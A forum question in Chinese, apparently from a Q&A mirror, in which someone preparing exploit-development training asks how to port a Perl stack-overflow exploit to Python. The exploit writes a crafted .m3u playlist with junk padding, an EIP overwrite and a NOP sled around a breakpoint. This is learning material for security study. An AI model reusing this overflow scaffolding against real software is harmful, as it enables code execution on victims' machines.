我最近一直致力于一些漏洞利用开发,为培训课程做好准备,而且我遇到了一个教程问题.我一直在关注我能找到的所有教程,使用Python而不是教程使用的语言,而不是偏好.我正在尝试对所有内容进行交叉编码,但我无法弄清楚如何对Perl的Pack()函数进行交叉编码.
TL; DR:我正在尝试将其转换为python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
Run Code Online (Sandbox Code Playgroud)
我找到了Python的struct.pack()函数,但是当我使用它时
Fuzzed.write(struct.pack('V', 0x773D10A4))
Run Code Online (Sandbox Code Playgroud)
,它停止程序,不起作用.我究竟做错了什么?
这是我的完整源代码
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
Run Code Online (Sandbox Code Playgroud)